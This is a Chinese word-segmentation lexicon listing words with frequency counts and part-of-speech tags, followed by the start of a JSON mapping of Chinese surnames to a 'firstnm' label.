n +纳特康 3 nr +一个五十多岁 16 m +戒备森严 194 i +制革厂 5 n +普泰尔 3 nr +附送 20 v +硝化 50 n +微租联盟 3 nr +玩家网 3 nr +十八月 3 nr +撂下 60 v +建国方略 3 n +尼罗河畔 2 ns +阿瓦尔泽德 2 ns +安远县 2 ns +搏动 63 v +费用效益 3 n +一个肚子 6 m +正色 260 n +战力帆 7 nr +小张侯 3 nr +吴军溯 2 nr +黑斯廷斯 3 nr +松鼠电电 3 nr +杭叉集团 3 nr +附逆 3 v +静脉瘤 3 l +德梅尔 3 nr +库车网 3 nr +阿波罗智 3 nr +锦函 3 nr +汇水区 3 n +屹然 10 d +车吧 3 nr +奥宝杰电机 3 nr +选派代表 3 n +非缴不可 3 n +丁零 39 o +集媒互动 3 nr +犀合文化 3 nr +公器 3 n +暴发户 99 n +宜检健康 3 nr +陶瓷封装 3 n +生态县 3 n +融政 3 nr +芳言 3 n +三平创富 3 nr +魏都区 8 ns +热性 3 n +愤慨 535 a +云桌面 3 nr +和馨儿 2 nr +空气密度 3 n +职佳 3 nr +蒲犁分 3 nr +盒知科技 3 nr +杰蒙互动 3 nr +华南通信 3 nr +曹县朝正 3 nr +滑稽可笑 3 nr +磐云 3 nr +聊法 3 v +空气果 3 nr +妻梅子鹤 3 n +谢文州 2 nr +若联科技 3 nr +萧宝融 2 nr +竹马 8 nz +但荣禄 2 nr +北京西站 34 ns +限免速递 3 nr +中银金行 3 nr +力行 21 n +垂下 3 v +器材厂 267 n +望尘 3 nr +兆新 3 nr +迪乌斯 2 nr +励尚化工 3 nr +十八本 4 m +侨乡 97 n +乔掌柜 7 nr +聚知四方 3 nr +风扫落叶 3 i +田亚华 3 nr +命比纸薄 3 n +劳恩凯 2 nr +陈伯之 5 nr +森严壁垒 2 nr +死翘翘 3 n +圣俊逸 3 nr +捧起 3 v +老相好 15 nr +并驱争先 3 l +直卖网 3 nr +兆方 3 nr +左右开弓 47 nr +夏珺 5 v +富亿达 3 nr +十八朵 3 m +扣球 30 n +艾美泛娱 3 nr +里里外外 245 l +卖不出去 3 i +慎言谨 2 nr +高正新 3 nr +蓝精灵 3 nr +嘴损 3 n +第一劝业银行 5 nt +时代金宇 3 nr +万达文旅 3 nr +神州智造 3 nr +梵沐 3 nr +侦毒 3 v +重谢 23 v +坐立 3 v +递增 1798 v +灵讯 3 nr +橙爱文化 3 nr +颌间牵引 3 vn +海尔小焙 3 nr +力表 3 n +极熵数据 3 nr +莱璟 3 nr +赎罪券 3 n +雨曼文化 3 nr +瑞杰 3 nr +如潮 3 n +乐合里 3 nr +哈利法克斯 9 nrt +瑞美福 3 nr +旭腾 3 nr +五员 16 n +远西 3 nr +豹变老板 3 nr +钨业 3 nr +同城嘉速 3 nr +写写 32 v +毕节市 3 n +宁夏金硅 3 nr +邹老爹 2 nr +知纵 3 nr +钨丝 28 n +国泰华荣 3 nr +首驰 3 nr +凯道电子 3 nr +吻吻鱼 3 nr +异氰酸 3 nz +串连 80 v +礼葬 3 n +创美股份 3 nr +李皇亲 2 nr +零组件 3 n +惠和弘达 3 nr +服务业 535 n +瑞松 3 nr +鲸航国际 3 nr +三旋 3 nr +公孙胜一 2 nr +左右方 3 m +五周 3 nr +美泰物流网 3 nr +诊通健康 3 nr +创意优品 3 nr +可以兴 3 nr +三族 3 nz +血癌 12 n +不足道也 3 i +有态度的 3 nr +祖龙之虐 3 i +旧创 3 n +雅观 27 nz +那乡姑 3 nr +走马灯 70 n +助燃剂 3 n +昭隆 3 nr +怡鹭 3 nr +旺气 3 n +大神一郎 3 l +航向标 3 nr +亚乐恒 3 nr +范冰冰 8 nr +怀众科技 3 nr +东翌 3 nr +忧苦 3 a +阴世里 5 nr +欣飞悦 3 nr +灯展 12 n +双选会 23 n +咖咖金融 3 nr +优美风尚 3 nr +五味 65 m +别抡剑 2 vn +姜育恒 3 nr +桂圆乾 3 nr +伊丽沙 2 nr +弄潮儿 22 n +汇海环保 3 nr +东翔 3 nr +鲁阳麾戈 3 v +拙嘴笨舌 3 v +沟鼠 3 n +澜启 3 nr +武装起义 478 l +肖克莱 22 nr +通屏东 2 nr +茹毛饮血 14 i +汉泰木业 3 nr +三无 31 j +焕一生物 3 nr +罗祥英 2 nr +炸雷 66 n +川木通 2 nr +埃希氏 2 nr +东聊 3 v +化学网 3 n +法赫萨 2 nr +麦淘亲子 3 nr +任浚 28 nrfg +八九米 2 m +大地碳素 3 nr +维塔影视 3 nr +三日 735 t +伊丽莎白港 6 ns +优惠多 3 nr +兴泰装饰 3 nr +哄堂 5 n +唐四杰 12 nr +绽开 83 v +特级教师 3 n +蓝波 21 nr +龟壳 33 n +亚拉巴马州 14 ns +水母医疗 3 nr +第一企训 3 nr +和义渠 4 nr +打打破 3 l +绿人集团 3 nr +卓爱 3 nr +滤过代数 3 nz +福卡斯 6 nr +旧制 326 n +东联 8 ns +杭州有 3 nr +戴宗引 5 nr +奥立佛 141 nr +聚贤股份 3 nr +评审组 3 n +浪弯 3 nr +觅见 3 nr +南钢队 6 nt +一千部 2 m +温总管 2 n +聘请书 3 n +放羊吃草 3 i +手膀 3 n +三二百里 2 m +玩人丧德 3 i +觅觅 3 nr +仁优 3 nr +取义 3 v +缺德少才 3 n +千百钢 3 nr +屯昌县 4 ns +仁会 3 nr +斑点 211 n +蓝泰 3 nr +华宏科技 3 nr +毛毛雨 14 nr +刘氏诸 2 nr +东翰 3 nr +爸妈堂 3 nr +取乐 105 v +浪强 3 nr +三旺 3 nr +科瑟尔 4 nrt +型云美业 3 nr +闪骑 3 nr +登登立 3 nr +小人儿 46 nr +豺狐之心 3 i +修车铺 3 n +造园 3 n +亮美城 3 nr +机旦二手机 3 nr +遣戍 18 v +翘乳 3 v +书报摊 3 n +俩眼 13 m +保持中立 3 nr +恋恋 3 v +婚期定 3 l +威虎山 16 ns +千变万轸 3 nr +波克罗 3 nr +菲诗奥 3 nr +黄水疮 3 n +乐啊搞笑 3 nr +附骥彰名 3 vn +钟名湖 2 nr +东翼 2 n +惯性矩 3 n +迷狂 3 a +神秘电话 3 l +丰骨劲 2 nr +山复整妆 3 n +死症 2 n +蓝猫网络 3 nr +舒博尔 3 nr +组员 27 n +奚美娟 4 nr +环境异常 3 n +链班 3 nr +阿尔托 13 nrt +妇幼用品 3 n +叼到家 3 nr +北方交通 3 nt +独运匠心 3 i +小智研发 3 nr +如泣草芥 3 n +水门事件 3 n +试试 693 vn +多万辆 4 m +西翥灵 2 nr +垣曲 11 ns +灵蚌科技 3 nr +寸短 3 n +战地 142 n +大家医联 3 nr +优利特 3 nr +表见代理 3 n +蓝凌软件 3 nr +水淹气井 3 l +胞膜 3 n +系统分析员 2 n +爱面子 11 n +爱住酒店 3 nr +高层住宅 3 n +张桂芳 2 nr +胭脂扣 3 n +掌盈 3 nr +摇嘛 3 nr +腾博智能 3 nr +钩深索隐 3 i +叔母 8 n +眼科技 3 nr +库可厨房 3 nr +一鸣生物 3 nr +马斯克林 9 nr +丰海科技 3 nr +嗨皮乐镜 3 nr +恋念 3 n +边线发球 3 n +大中华区 76 ns +战场 3566 n +荣成 26 nr +沙矶头村 4 ns +同乡会 31 n +辩论会 12 l +居范 3 nr +张晓风 3 nr +柳绿花红 4 nr +融溢德 3 nr +新华日报 3 nz +毛坑 3 n +大权 722 n +南京站 39 nt +哨普 3 nr +儿少 7 n +鸢尾花 7 n +图书超市 3 ns +鸣泽信息 3 nr +玉石相揉 3 nr +言情剧 3 n +环能设计 3 nr +一千二百六十二万余两 2 m +侯世禄 3 nr +二百一十卷 4 m +虎卫 3 n +伊拉姆 6 nrt +电蛙 3 nr +冲州过府 3 n +香山路 7 ns +掌盟 3 nr +君子三戒 3 n +聚力维度 3 nr +融投世界 3 nr +柞丝 3 n +卡瑞星球 3 nr +树碑 3 n +混水捞鱼 3 i +邦泰 3 nr +玄同智能 3 nr +王夫人 796 nr +全国联网 3 nt +大村 17 n +派格医药 3 nr +盒里有 3 nr +拾珠电子商务 3 nr +刘金贵 11 nr +军人专政 3 j +憧憬元 3 nr +龙米家 3 nr +试读 3 v +亲操井臼 3 n +互联网安全 11 l +优选惠购 3 nr +禁赛期 5 n +御锋水处理 3 nr +和善 165 nr +越来越 7867 d +广联智通 3 nr +采货侠 3 nr +函电 17 n +语智科技 3 nr +森拓环保 3 nr +富城 3 nr +轮替 24 v +司增勤 10 nr +天空网 3 n +玄宗遂 4 nr +新闻业 10 n +国亡身死 3 i +近航 3 nr +彩卉达 3 nr +狧穅及米 3 v +阔少 6 d +邦泽 3 nr +健行工专 3 n +功成不居 3 l +那小仆 2 nr +微聘家政通 3 nr +富埒 3 nr +晨辉 3 nr +冲风冒寒 3 i +驭品股份 3 nr +号朋 3 nr +天博信德 3 nr +毛坯 17 n +沙灾 3 n +东方红盛 3 nr +秒见面 3 nr +于万亭 15 nr +太宗笑 4 nr +思博胜 3 nr +罗江县 3 ns +跟庄 3 n +财富无线 3 nr +驳运费 3 n +大来 3 nr +比例式 3 l +快巴科技 3 nr +长涛 3 nr +岸百澳 3 nr +诺鼎资产 3 nr +瑞通包裹 3 nr +皮日休 275 nr +削职 3 v +孔波利 11 nr +持衡 3 a +辛戌 3 m +尼亚岛 2 ns +辉鹏 3 nr +鼎绘 3 nr +融昌 3 nr +污浊 71 a +地板革 3 n +西军正 2 nr +大杯 3 m +天鸿盛捷 3 nr +亿泰乐科技 3 nr +那小仙 5 nr +书香人家 5 n +九曲互动 3 nr +生油率 3 n +互动论 3 n +御数坊 3 nr +企业管理者 44 n +胞影蛋白 3 n +罗迪克 8 nr +磨煤机 6 nz +融易 3 nr +色拉 16 nrt +亿真科技 3 nr +吴金贵 161 nr +蒙特利 3 ns +中为软件 3 nr +成人文学 3 nt +亲亲爱爱 3 l +拳击赛 3 n +奕杰信息 3 nr +晨途 3 nr +两代 1630 m +一二十页 3 m +智微联 3 nr +海亚科技 3 nr +芯联达 3 nr +百分之十三点 3 m +系统软件 52 l +顶固集创 3 nr +概率吧 3 nr +不屑教诲 3 i +大杼 3 n +寰星 3 nr +聒耳 6 a +徐云卿 2 nr +德仁 3 nr +中民国丰 3 nr +大板 40 n +两仪 3 n +家佳明光电 3 nr +纯美汇 3 nr +北京牌 2 nz +校企通 3 nr +布满星星 3 nr +数十斤 12 m +两千多斤 2 m +这就是说 263 l +数库科技 3 nr +花旗银行 65 nt +我见犹怜 5 i +中科精工 3 nr +富基 3 nr +薛绍彭 2 nr +由崇明 2 nr +缓一缓 16 d +奉天电子 3 nr +托忒文 2 nr +陈博士 4 nr +重大意义 3 ns +正荣 3 nr +新机制 38 n +杜塞尔 3 nr +发癣 3 n +热意 3 n +两件 729 m +亲人或 3 l +利德宝 3 nr +鹤算龟龄 3 n +骗取信任 3 n +校博士 3 nr +淘钱特价版 3 nr +生相 3 n +柴立不阿 3 i +敏动电子 3 nr +爱艺教育 3 nr +两任 23 m +陈维斌 4 nr +商洛山 392 ns +德仕 3 nr +两份 233 m +移过来 3 v +融昱 3 nr +晨达 3 nr +德他 3 nr +购物网 3 n +好网址 3 n +宏业农装 3 nr +漆工 11 n +斯里拉差 2 nr +银山棉麻 3 nr +漫无际涯 3 i +士别多日 3 nrt +大柚科技 3 nr +热感 14 n +艾游文化 3 nr +永哲信息 3 nr +大庆市 26 ns +寝车 3 n +转移盖 3 l +手速信息 3 nr +易百珑 3 nr +劲动力 3 nr +金蟾脱壳 3 nz +坤宇餐饮 3 nr +德代 3 nr +氧园健康 3 nr +派点广告 3 nr +发白 160 v +乐透通 3 nr +乐外居 3 nr +嘿嘛易购 3 nr +自动词 3 n +宝津楼 4 nr +无定法 3 l +机载设备 3 n +花小猪 3 nr +狗牌 3 n +陪臣 3 n +顺菖 3 nr +数量指标 3 n +体腔 135 n +国凯东 3 nr +飞速创新 3 nr +整圈 2 n +酚醛 22 nz +首魁 3 n +水晶制品 3 n +法官大人 3 nr +阻燃剂 5 n +小凤笑 3 nr +每日拼拼 3 nr +弧光之源 3 nr +炽灼 3 a +须乖乖 2 nr +吸地毯 3 n +半径圈 3 nr +速融壹佰 3 nr +章以功 3 nr +干元利恒 3 nr +场助扩散 3 n +影业 99 vn +干部团 5 n +律师网 3 n +优秀论文 3 n +狗牙 10 n +郎效农 2 nr +开司米 10 n +法海网 3 nr +饥叫 3 nr +心理学系 3 n +知者 3 n +贡觉 4 n +十八株 3 m +陆子网 3 nr +今番 149 t +坦诚 308 a +极化转移 3 i +好剑法 3 i +士兰集昕 3 nr +保希木业 3 nr +泰邦泰平 3 nr +十五万两 9 m +若干 6633 m +晶路 3 nr +刺儿 16 n +聚云 3 nr +意气相投 24 i +稻苗 2 n +诺我生物 3 nr +难胞 3 n +押运 49 v +皮货商 3 n +违章罚款 3 l +宏桐实业 3 nr +喀斯特地貌 92 nz +求三拜四 3 i +赵建军 2 nr +天目通 3 i +千鉅 3 nr +五商 3 n +许承先 3 nr +好在科技 3 nr +瑞桢 3 nr +博爱县 8 nr +所称 3 v +瑞桥 3 nr +知群 3 nr +诚进科技 3 nr +藏宝之 4 nr +优易健 3 nr +无水石膏 3 i +拆迁 242 v +起止 24 v +幻珑科技 3 nr +整在 3 b +重负 42 v +无材勇 2 l +麦训 3 nr +耿耿长 2 nr +腾仁科技 3 nr +诚效 3 nr +起步 501 d +熊爸爸暖 3 nr +麦讯 3 nr +感观 16 n +海蝶音乐 3 nr +重财 3 v +确认 1568 v +一百三十一里 2 m +农话 3 n +尚号外 3 nr +重责 69 v +就业部 4 n +聚交 3 nr +拆过 3 v +信科泰德 3 nr +章则 26 n +玻璃垫 3 n +惬当 3 a +唱回去 3 l +影为 3 nr +家有商超 3 nr +亨瑞达 3 nr +整地 45 n +从玉互动 3 nr +浩轩网络 3 nr +甲骨文 343 nz +浚网 3 nr +感觉 7767 n +平流层 43 n +艾佰德 3 nr +全息疗法 3 n +繁碎 3 v +刘扬三 3 nr +远洋翔瑞 3 nr +万众云商 3 nr +边缘智芯 3 nr +客厅 816 n +宜清营 2 nr +佯轮诈败 3 nz +葳骏城 3 nr +鑫桥租赁 3 nr +苏秦张 2 nr +整场 62 n +晨什速运 3 nr +魏收 24 nr +塑龙 3 nr +诺罗敦 8 ns +卓猎 3 nr +杯影蛇弓 3 i +演界网 3 nr +高堡乡 2 nr +这儿 3784 r +燃石 3 nr +吸水率 5 n +退除 3 v +确论 3 v +宝宝爱 3 nr +位列 125 v +百富勤 18 ns +艺是网拍 3 nr +聚安云 3 nr +鲸彩传媒 3 nr +惨遭杀害 3 v +一千里 13 m +腿脚 137 n +煮机网 3 nr +吴铁城 4 nr +知耻 3 a +合得晟 3 nr +地毡 3 n +撑天拄地 3 z +工美 6 vn +井井有绪 3 i +釦上来 3 v +华阴东 8 ns +奢想 3 n +格澜电商 3 nr +诚敬 3 a +感触 193 v +以彼之道 47 i +安得智联 3 nr +诚数 3 nr +三色旗 4 ns +满腔热忱 8 i +王赵构 16 nr +捷达王 3 nz +爱头版 3 nr +一个几百万 5 m +华祥货架 3 nr +屈原号 3 n +立命召 2 nr +侦听器 3 n +同心圆 32 nr +地毯 747 n +作金石声 3 n +哈依纳 2 nr +三曦 3 nr +九品堂 3 nr +众诚天合 3 nr +和硕礼 6 nr +张丽宾 3 nr +养虎自啮 3 v +俞正山 5 nr +华商智汇 3 nr +注重事实 3 n +光锐恒宇 3 nr +秤不离砣 3 n +晚些 3 t +胶画 3 n +网易宝 3 nr +落实到户 3 l +跨越国界 3 b +雕残 3 v +和家相册 3 nr +本键 3 n +旧区 3 n +经济部 43 n +顽皮赖肉 3 n +瘦蜜 3 nr +清辞丽曲 3 nr +强心针 11 n +三曲 4 m +航空邮政 3 n +德诚光电 3 nr +墨旱莲 3 nr +扑哈社区 3 nr +一写到 3 i +达官显贵 17 nr +粗粗 61 a +会火动漫 3 nr +弓亚纲 3 nr +蓝深 3 nr +四百万两 3 m +形不成 11 v +标志牌 21 n +侏儒观戏 3 nr +宋新启 5 nr +高名大姓 3 i +兵疲意阻 3 i +万加物联 3 nr +优裁 3 nr +栽诚科技 3 nr +王家彦 26 nr +上皮珠 3 nr +粗粝 11 n +建融公寓 3 nr +北京舶品 3 nr +优装 3 nr +三替 4 nz +奥尼亚 31 ns +和诚智达 3 nr +同进士 3 n +泰管家 3 nr +欢腾传媒 3 nr +聚信杰 3 nr +太川 3 nr +易通关 3 nr +卓易法智 3 nr +物体 1768 n +国检集团 3 nr +易游时代 3 nr +偶而 3 d +恋慕 8 v +佳恩生物 3 nr +冷水江市 11 ns +迈普医学 3 nr +太巧 15 n +粗粮 62 n +颀中科技 3 nr +优裕 64 a +盟信得 3 nr +玩因的 3 nr +周贵妃 6 nr +珠流璧转 3 i +姚伯道 3 nr +亚圣孟子 3 nr +喷塑工 100 n +相承之 2 nr +臻橙医生 3 nr +启檬 3 nr +甲丁 2 nz +退休证 2 v +启润科技 3 nr +二三例 16 m +华验 3 nr +康美钱包 3 nr +太差 3 n +易捷加油 3 nr +吉租 3 nr +标志物 21 n +校外宝 3 nr +候诊椅 2 n +华骐 3 nr +丹田功 3 nr +令人焦虑 3 i +尼普顿 2 nr +综合征 435 n +化学能 76 n +常峰股份 3 nr +玲兰文化 3 nr +最后通牒 303 l +荣林环境 3 nr +欢实 3 a +铨擢 3 v +开蒙 3 v +甲丑 3 n +三百万 34 m +拦击 15 v +管件厂 3 n +犯傻 15 v +三百丈 5 m +全师官兵 3 nr +二三倍 2 m +叮咚到家 3 nr +最甜 3 a +特兰城 8 nr +金坛县 5 ns +枯燥 193 a +缝点 3 n +一道自 3 nr +丰联广场 2 ns +电蟒 3 nr +飞瑞易成 3 nr +三百下 3 m +华骞 3 nr +找师 3 nr +小竹医生 3 nr +夏长冬 4 nr +科丰新材 3 nr +哈钦森牙 3 nr +阿尔捷 2 nr +大案 109 n +世创 3 nr +甲丙 3 nr +任长霞 3 nr +折上折 3 nr +奇硕 3 nr +明降州 2 nr +北京华旗资讯 3 nt +花海子 3 nr +物理检查 3 n +潘庆新 28 nr +板脸 3 n +干涉仪 66 nr +别无所求 3 i +非对抗性 3 n +网易智造 3 nr +快速递 3 nr +幻盒 3 nr +云邮天下 3 nr +二九二 2 m +胡寄窗 3 nr +菓然很好 3 nr +车速拍 3 nr +为恒 3 nr +大白兔 3 n +薪安易 3 nr +涂梢栽 3 nr +另想办法 3 l +招招势 2 n +撞车 36 v +胞芽 3 n +博谷文化 3 nr +欢宴 34 v +南下列车 3 ns +陶宏景 3 nr +沙煲 3 nz +李来群 2 nr +该涨 3 v +黄宗仰 2 nr +景然环境 3 nr +媒体工具 3 n +团契 3 a +吴有一 3 nr +渠杰 3 nr +加蒂诺 2 nr +西子湖 13 nr +长源 3 nr +为快 3 nr +三百两 61 m +日不移影 3 i +承德县 6 ns +肺循环 19 i +贾冰硬 2 nr +祥瑞天和 3 nr +股先生 3 nr +天下英雄 3 nr +天然淘汰 3 l +加拈 3 i +电视总局 3 n +哈达铺 18 ns +畅享传媒 3 nr +奇硬 3 a +加拉 39 nrt +反证法 6 n +诚亿游 3 nr +亦通海 3 nr +三百个 32 m +鼎翎 3 nr +不能抑制 3 n +大桥 3288 ns +翰林华悦 3 nr +驿公里 3 nr +维德晟睿 3 nr +救贫济弱 3 l +电脑操作 2 l +发着 3 v +皓发 3 nz +上访事件 3 n +春藤 3 nr +从少平 2 nr +北京翻译 3 nr +德上投资 3 nr +大桩 3 m +几千位 2 m +鼎翔 3 nr +棚圈 7 n +一百单八 4 m +快马互娱 3 nr +打地铺 11 n +融朋 3 nr +速度快 3 n +锦发 3 nr +综合性 1536 n +供料 3 n +天下畅通 3 nr +往南部 3 n +e纱窗 3 nr +信利丰 3 nr +弘尚智能 3 nr +盈想 3 nr +实例派 3 nr +幻相 2 n +宇欧 3 nr +具象化系 3 n +维度健康 3 nr +刘抗曹 2 nr +大桶 30 m +一个纸 36 m +富士 121 n +跟得 3 v +升华作用 3 n +为人注意 4 i +闻郭靖 2 nr +诺丝科技 3 nr +梁必业 2 nr +爱宝初学堂 3 nr +弘达金控 3 nr +伟光汇城 3 nr +生知 3 v +赙赠 2 v +果粒网 3 nr +刺刀 602 n +美国电影协会 5 nt +拉芳家化 3 nr +优普云 3 nr +套头 9 n +公告栏 20 n +海创光电 3 nr +第四十二章 18 m +鼎聚 3 nr +搜电充电 3 nr +大起大落 75 l +似神非神 3 i +雷鸣声 3 nr +找电驴 3 nr +挖掘机 37 n +加拨 3 v +李润茶文化 3 nr +和兆鹏 4 nr +张振仕 256 nr +西子湾 3 nr +银振 3 nr +我好数码 3 nr +豁然冰释 3 i +革职 189 vn +六感魔方 3 nr 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30 ns +瞳鳗智能 3 nr +林客互动 3 nr +惠科 3 nr +玉钟子 7 nr +拍卖时 3 i +立方公寸 3 q +吹入 3 v +诚安聚立 3 nr +喝进 3 v +郭家屯 2 nr +景德清 2 nr +征文启事 3 vn +赫梯音乐教育 3 nr +天宝栈 2 nr +红八军 6 nr +抓不住 3 v +投投乐 3 nr +商报传媒 3 nr +海群生 6 nr +翱游四海 3 vn +小飞 3 nr +高攀不起 3 l +小食 18 n +毛羽贲 2 nr +喝道 3557 v +典爱摄影 3 nr +天能重工 3 nr +切入点 82 n +题录 6 n +滴水穿石 3 i +两三支 3 m +张江电子 3 nr +乐仕堡 3 nr +梦乡 61 n +于世务 6 nr +惠租 3 nr +玛四世 3 nr +较量法 3 b +用户程序 13 n +飞悦 3 nr +佩尔戈 2 nrt +金衡 3 nr +编辑整理 3 n +师叔中 2 nr +天行者 3 n +改好率 2 n +黄极 4 ns +乌瓦白 2 nr +拍脱 3 v +分区表 3 n +博源华青 3 nr +失事 148 v +开场哨 3 nr +东方一诺 3 nr +洪炉燎毛 3 nr +贵族 5389 n +云接力 3 nr +中广恒通 3 nr +和丰信 3 nr +失于 3 v +胁肩絫足 3 n +基石生命 3 nr +金表 42 n +国师举 2 nr +子泉 3 nr +放心托胆 3 i +于安丰 2 nr +拍脸 3 nr +谭太尉 4 nr +灵动飞扬 3 nr +儿康智能 3 nr +百分之二十点 2 m +前扑后继 3 i +腾米克/ 3 nr +中清龙图 3 nr +区号 3 n +神灭论 9 n +电脑桌 9 n +富浠诲 3 nr +区块星球 3 nr +策略决策 2 n +头衔 415 n +虎头虎脑 8 i +戈洛文 14 nr +默锐 3 nr +艾弗森 5 nr +汇收网 3 nr +玖道科技 3 nr +花圃 197 nr +曲阳县 14 ns +巴哈姆 3 nrt +准字号 2 n +上刀山 3 ns +遭人暗算 3 n +化二清 2 nr +混杂 326 a +格坚皇帝 2 nr +急骤 66 n +学系 72 n +狼藉 51 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nr +平果县 6 ns +萌和 3 nr +时延常数 3 n +女子书院 3 n +吉林航建 3 nr +向海萍 2 nr +遐迩著闻 3 v +刨冰机 3 n +艾文斯 4 nr +永成股份 3 nr +觉得很有 3 nr +通管数据 3 nr +居泰客 3 nr +圈游 3 nr +宇展盈讯 3 nr +社会学 1266 n +郑重其事 100 i +瑞铂慧家 3 nr +汇票栈 3 nr +弘恩医疗 3 nr +温莎堡 3 nr +毯子 110 n +数尊科技 3 nr +陈安之 3 nr +浪基面 3 n +种子法 7 n +科瓦尔 2 nr +百世流芬 3 nz +追云逐电 3 l +刘希尧 21 nr +前途无量 37 l +迈未教育 3 nr +艾美特 3 nr +神山上人 3 l +深信通 3 nr +金收军 2 n +降钙素 3 n +载于 3 v +隐号 3 nr +药东家 3 nr +百世流芳 3 nz +旅游到 3 nr +雷法 2 n +曲靖东 3 nr +叮铃当 3 nr +安联锐视 3 nr +无涉 3 v +趣立科技 3 nr +于艺婉 10 nr +参编 3 v +翔恒 3 nr +潜移默转 3 i +不可胜道 3 i +那华山 4 ns +全息双创 3 nr +故宫博物院 520 ns +万游在线 3 nr +北为恒 2 nr +萌咪 3 nr +邱晓华 10 nr +明珞装备 3 nr +人工授粉 3 l +挨挤 3 v +桂南 22 ns +淋湿 45 n +方硕科技 3 nr +航天亿成 3 nr +谷斗科技 3 nr +穆郎玛 2 nr +深一步 3 d +美式 94 n +雷波 4 nr +不可告人 109 i +世博园 37 nr +日海智能 3 nr +港专 3 nr +含笑 376 v +气势磅礴 81 i +碗面 25 n +邦建材 3 nr +刘劭希 3 nr +小叔之 2 nr +汇中股份 3 nr +摩格恩轴承 3 nr +唯链 3 nr +事故问 3 nr +申立 3 nr +秦军乘 2 nr +熵增科技 3 nr +此法 321 r +军需补给 3 n +君马 3 nr +体外诱变 3 nz +森威 3 nr +京华智力 3 nr +穿壁引光 3 n +博涵体育 3 nr +摩塔 3 nr +雷泰 3 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3 nr +启功医疗 3 nr +天谱教育 3 nr +进京城 3 n +聚塔 3 nr +平海 3 nr +妒嫉 36 v +红旗区 3 nt +皮货店 3 n +先知资讯 3 nr +行行出状元 14 n +响螺 3 nr +聚塘 3 nr +全金属 3 n +旧居 68 n +滴嗒 3 nr +百品 3 nr +卡尔派 2 nr +诚源 3 nr +扳开 3 v +粪胆素原 3 n +申新各 2 nr +薪水阶层 3 n +大提琴 89 n +嘉义县 13 ns +黄巢北 3 nr +帝诺 3 nr +头破血出 3 i +预购 7 v +财务管理 9 n +史迪威 45 nr +赵全德 2 nr +木雕泥塑 12 i +天安门 34010 ns +含油率 3 n +云鸟配送 3 nr +凌虐 6 v +石基大商 3 nr +思想观点 3 n +下北 3 f +淘常州 3 nr +玖富联银 3 nr +稻谷 505 n +下萨克森 4 ns +维沙卡帕 3 nrt +位子 326 n +起用 218 v +伊比比奥 3 nrt +国务委员会 7 nt +乐豆呀 3 nr +铢累寸积 3 n +u掌柜 3 nr +巧比 3 nr +苏堤 21 nr +叙事 304 v +五角六张 3 ns +你画我猜 3 nr +串骗 3 v +库克群岛 40 ns +五度 38 mq +预贷 3 n +趣玩游戏 3 nr +微游地带 3 nr +后室 3 n +五座 294 m +太空站 43 n +掌风袭 6 nr +能谱仪 6 n +莱维 19 nrt +绰约 23 n +美乐雅 3 nr +博沃思教育 3 nr +子继统 2 nr +博瑞祥 3 nr +智码物联 3 nr +蓝泰德 3 nr +后宫 707 n +深闭固拒 3 i +智胜致能 3 nr +乞爱者 3 n +库博能源 3 nr +黑天墨地 3 i +旧属 3 n +血脂 82 n +每封信 3 l +宸泽 3 nr +德适生物 3 nr +第九十二 2 m +哇塞 3 e +直言 792 n +母髦智 2 nr +劳工处 2 l +建设部门 7 n +创鑫激光 3 nr +血脉 166 n +一听之下 3 i +盛剑秋 3 nr +苏比克 6 ns +梳过去 3 v +尼雅河 4 ns +碧驰股份 3 nr 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"firstnm", +"季": "firstnm", +"成": "firstnm", +"霍": "firstnm", +"苗": "firstnm", +"裴": "firstnm", +"涂": "firstnm", +"谷": "firstnm", +"曲": "firstnm", +"盛": "firstnm", +"冉": "firstnm", +"翁": "firstnm", +"蓝": "firstnm", +"骆": "firstnm", +"路": "firstnm", +"游": "firstnm", +"靳": "firstnm", +"辛": "firstnm", +"管": "firstnm", +"柴": "firstnm", +"蒙": "firstnm", +"鲍": "firstnm", +"华": "firstnm", +"喻": "firstnm", +"祁": "firstnm", +"房": "firstnm", +"蒲": "firstnm", +"滕": "firstnm", +"萧": "firstnm", +"屈": "firstnm", +"饶": "firstnm", +"解": "firstnm", +"牟": "firstnm", +"艾": "firstnm", +"尤": "firstnm", +"时": "firstnm", +"阳": "firstnm", +"阎": "firstnm", +"穆": "firstnm", +"应": "firstnm", +"农": "firstnm", +"司": "firstnm", +"古": "firstnm", +"吉": "firstnm", +"卓": "firstnm", +"车": "firstnm", +"简": "firstnm", +"连": "firstnm", +"缪": "firstnm", +"项": "firstnm", +"麦": "firstnm", +"褚": "firstnm", +"窦": "firstnm", +"娄": "firstnm", +"戚": "firstnm", +"岑": "firstnm", +"党": "firstnm", +"宫": "firstnm", +"景": "firstnm", +"卜": "firstnm", +"费": "firstnm", +"冷": "firstnm", +"晏": "firstnm", +"卫": "firstnm", +"席": "firstnm", +"柏": "firstnm", +"米": "firstnm", +"隋": "firstnm", +"宗": "firstnm", +"桂": "firstnm", +"瞿": "firstnm", +"全": "firstnm", +"苟": "firstnm", +"楼": "firstnm", +"闵": "firstnm", +"佟": "firstnm", +"臧": "firstnm", +"边": "firstnm", +"卞": "firstnm", +"姬": "firstnm", +"邬": "firstnm", +"和": "firstnm", +"师": "firstnm", +"仇": "firstnm", +"栾": "firstnm", +"丘": "firstnm", +"刁": "firstnm", +"沙": "firstnm", +"商": "firstnm", +"寇": "firstnm", +"荣": "firstnm", +"巫": "firstnm", +"郎": "firstnm", +"桑": "firstnm", +"丛": "firstnm", +"甄": "firstnm", +"敖": "firstnm", +"虞": "firstnm", +"仲": "firstnm", +"池": "firstnm", +"巩": "firstnm", +"明": "firstnm", +"佘": "firstnm", +"查": "firstnm", +"麻": "firstnm", +"苑": "firstnm", +"迟": "firstnm", +"邝": "firstnm", +"封": "firstnm", +"官": "firstnm", +"谈": "firstnm", +"鞠": "firstnm", +"匡": "firstnm", +"惠": "firstnm", +"荆": "firstnm", +"乐": "firstnm", +"冀": "firstnm", +"胥": "firstnm", +"郁": "firstnm", +"南": "firstnm", +"班": "firstnm", +"储": "firstnm", +"芦": "firstnm", +"原": "firstnm", +"栗": "firstnm", +"燕": "firstnm", +"楚": "firstnm", +"鄢": "firstnm", +"扬": "firstnm", +"劳": "firstnm", +"谌": "firstnm", +"奚": "firstnm", +"皮": "firstnm", +"蔺": "firstnm", +"粟": "firstnm", +"冼": "firstnm", +"盘": "firstnm", +"满": "firstnm", +"闻": "firstnm", +"厉": "firstnm", +"伊": "firstnm", +"候": "firstnm", +"仝": "firstnm", +"百里": "firstnm", +"淳于": "firstnm", +"澹台": "firstnm", +"第五": "firstnm", +"东方": "firstnm", +"独孤": "firstnm", +"端木": "firstnm", +"段干": "firstnm", +"公孙": "firstnm", +"公西": 